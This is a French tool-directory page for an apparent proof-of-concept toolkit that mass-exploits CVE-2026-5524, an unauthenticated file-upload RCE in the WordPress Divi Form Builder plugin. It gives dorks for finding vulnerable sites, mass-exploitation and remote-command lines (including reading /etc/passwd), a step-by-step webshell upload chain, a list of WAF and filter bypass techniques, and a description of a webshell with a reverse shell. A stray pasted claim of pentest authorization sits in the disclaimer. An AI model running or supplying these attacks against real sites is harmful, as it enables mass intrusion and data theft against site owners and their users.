Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5524-PoC — Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes. | Kitploit
Outils/GitHubGitHub/iicaicai/cve-2026-5524-poc
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsContournement de WAFSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges UtilesCheval de Troie d'Accès à Distance
4il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubiicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes.

Voir le dépôt
Partager

CVE-2026-5524 — RCE non authentifiée dans Divi Form Builder

Boîte à outils d'exploitation massive pour CVE-2026-5524, une vulnérabilité de téléversement de fichier arbitraire non authentifiée dans le plugin WordPress Divi Form Builder <= 5.1.8 menant à l'exécution de code à distance.

version Devon Aji python telegram

ChampValeur
CVE2026-5524
CVSS9.8 (Critique)
VecteurAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AffectéDivi Form Builder <= 5.1.8
Corrigé5.1.9
TypeTéléversement de fichier non authentifié menant à RCE
Chercheur0xd4rk5id3 - EnvoraSec

Sommaire

  • Description
  • Dorks
  • Installation
  • Utilisation
    • Cible unique
    • Exploitation massive
    • Contournement avancé
    • Exécution de commandes
  • Détails de la vulnérabilité
  • Techniques de contournement
  • Stack technique
  • Structure du projet
  • Flux d'attaque
  • Avertissement

Description

Le plugin Divi Form Builder pour WordPress contient une vulnérabilité de téléversement de fichier arbitraire non authentifiée. Le gestionnaire do_image_upload() transmet le paramètre POST acceptFileTypes, contrôlé par l'utilisateur, directement dans une expression régulière utilisée pour valider les extensions de fichier. En fournissant une valeur telle que phtml, un attaquant peut contourner la règle .htaccess du plugin qui ne bloque que l'extension .php et téléverser un webshell avec une extension exécutable par PHP (.phtml, .phar, .php5, .php7, et similaires).

Une fois le fichier déposé dans /wp-content/uploads/de_fb_uploads/, Apache l'exécute en tant que PHP, accordant à l'attaquant l'exécution de code à distance sous l'utilisateur du serveur web.

Le problème est corrigé dans Divi Form Builder 5.1.9.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Installation

Prérequis : Python 3.8 ou supérieur sous Linux, macOS ou WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Utilisation

Cible unique

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Exploitation massive

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Contournement avancé

Pour les cibles derrière un WAF (NinjaFirewall, Wordfence, ModSecurity) ou avec une configuration Apache ou nginx renforcée.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Exécution de commandes

Après un téléversement réussi, le script peut immédiatement exécuter une commande ou ouvrir un shell interactif.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Options

OptionDescription
-u URLURL d'une cible unique
-l FILEFichier contenant la liste des cibles, une URL par ligne
-t NNombre de threads concurrents (par défaut 10)
--timeout NDélai d'expiration des requêtes en secondes (par défaut 15)
-o FILEEnregistrer les résultats dans un fichier de sortie JSONL
--proxy URLRouter le trafic via un proxy HTTP
--nonce HASHUtiliser un nonce fourni manuellement, ignorer l'autodétection
--ext EXTForcer une seule extension au lieu de la liste complète de contournement
--shellOuvrir un shell RCE interactif en cas de succès (cible unique uniquement)
--cmd CMDExécuter une commande sur la cible, puis quitter
--shell-file FILETéléverser une charge utile de shell personnalisée au lieu de celle intégrée
--no-verifyIgnorer l'étape de vérification RCE après le téléversement
--strict-verifyConfirmer que l'URL du shell renvoie HTTP 200 pour filtrer les faux positifs
--user-iniTéléverser un dropper .user.ini pour les environnements PHP-FPM
--htaccessTéléverser un réactivateur .htaccess pour les environnements Apache
--aggressiveActiver toutes les techniques de contournement disponibles
--null-byteInclure les tentatives avec octet nul et double extension
--path-traversalTenter de téléverser dans les sous-répertoires /uploads/YYYY/MM/
--debugAfficher les réponses HTTP brutes pour le diagnostic

Détails de la vulnérabilité

Code vulnérable

Le gestionnaire vulnérable construit une expression régulière à partir de l'entrée utilisateur sans assainissement.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

En envoyant acceptFileTypes=phtml, l'expression régulière résultante /\.(phtml)$/i correspond aux noms de fichiers se terminant par .phtml, même si le fichier .htaccess du plugin ne bloque que l'extension .php. Apache exécute alors le fichier téléversé en tant que PHP, produisant une exécution de code à distance.

Chaîne d'attaque confirmée

  1. Parcourir une page qui intègre un formulaire Divi Form Builder (/, /contact, /quote, etc). Ajouter un paramètre ?nocache=<random> pour déjouer Varnish, WP Rocket et autres caches de page qui serviraient sinon un nonce obsolète.

  2. Extraire la valeur fb_nonce de l'objet JavaScript localisé :

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 caractères hexadécimaux>", ...}
    
  3. Envoyer en POST un formulaire multipart vers /wp-admin/admin-ajax.php avec :

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Lire l'URL du fichier dans la réponse JSON :

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Requêter le shell avec une commande encodée en base64 :

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Techniques de contournement

#TechniqueCibles
1Extensions PHP alternatives .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlRègle .htaccess du plugin qui ne bloque que .php
2Variation de casse .PHTML, .PHP5, .PhTmLSignatures WAF sensibles à la casse (NinjaFirewall)
3Double extension .phtml.jpg, .php.jpgBizarreries de négociation de contenu mod_mime d'Apache
4Octet nul .php%00.jpg, .phtml%00.txtAnciennes versions de PHP (inférieures à 5.3.4) et certains parseurs
5Espace ou point final .php , .php.Windows IIS et anciennes versions d'Apache
6Usurpation de Content-Type application/octet-streamWAF qui se basent sur l'en-tête Content-Type multipart
7Téléverser un vrai .htaccess qui réactive PHP pour .gif, .png, .jpg, .txt, .html, etc.Serveurs Apache avec AllowOverride All
8Téléverser un .user.ini avec auto_prepend_fileEnvironnements PHP-FPM
9Injection de nom de fichier via manipulation de la frontière multipartProxies et WAF qui reparsent le corps de la requête
10Traversée de répertoire ../shell.phtml dans le nom de fichierRestrictions de répertoire du plugin

Le script essaie chaque technique par ordre de priorité et, lorsque --aggressive est activé, tente chacune d'elles même après qu'un premier téléversement ait signalé un succès.


Stack technique

Script d'exploitation

ComposantTechnologie
LangagePython 3.8+
Client HTTPrequests
Gestion TLSurllib3 en mode non sécurisé pour les certificats auto-signés
Concurrenceconcurrent.futures.ThreadPoolExecutor pour le scan massif
Analysere pour l'extraction du nonce, json pour le traitement des réponses
Encodagebase64 pour le paramètre de commande du webshell
CLIargparse avec 19 options configurables

Shell personnalisé (bypass.phtml)

ComposantTechnologie
LangagePHP 7.0+
Fonctions d'exécutionsystem(), shell_exec(), proc_open(), passthru(), popen()
InterfaceFormulaire HTML simple, sans framework JavaScript
FonctionnalitésNavigateur de fichiers, exécution de commandes, accès base de données, reverse shell, auto-installation de .htaccess et .user.ini
TailleEnviron 16 Ko
Couches de contournementSix chemins d'exécution indépendants plus des charges utiles encodées

Structure du projet

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Script d'exploitation principal
|-- bypass.phtml              Webshell PHP multi-couches de 16 Ko
|-- htaccess_enable.phtml     Dropper qui écrit un .htaccess réactivateur
|-- user_ini.phtml            Dropper qui écrit un .user.ini pour PHP-FPM
|-- targets.txt               Exemple de liste de cibles
|-- pwned.jsonl               Généré par l'option -o lors des scans massifs
|-- requirements.txt          Dépendances Python
`-- README.md                 Ce document

Flux d'attaque

root@kitploit:~
+--------------------------------------------------+
| 1. Reconnaissance                                |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Avertissement

Cet outil est fourni à des fins éducatives et pour une utilisation lors de tests d'intrusion autorisés. Les exemples d'utilisation acceptable incluent :

  • Les programmes de bug bounty qui autorisent explicitement le test de la cible
  • Les compétitions de capture the flag et les environnements de laboratoire dédiés
  • Les évaluations de sécurité internes avec autorisation écrite du propriétaire de l'actif
  • La recherche académique en sécurité menée dans un cadre contrôlé

L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester est illégale dans pratiquement toutes les juridictions et est strictement interdite. L'auteur ne cautionne ni n'assume la responsabilité d'un usage abusif de ce code.

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

Les lois susceptibles de s'appliquer incluent l'UU ITE indonésienne, le Computer Fraud and Abuse Act des États-Unis, la Convention sur la cybercriminalité de l'Union européenne, et les législations équivalentes ailleurs. En cas de doute, obtenez d'abord une autorisation écrite.


Licence

Usage éducatif uniquement. Consultez la section d'avertissement pour les conditions d'utilisation complètes.

Télécharger l’outil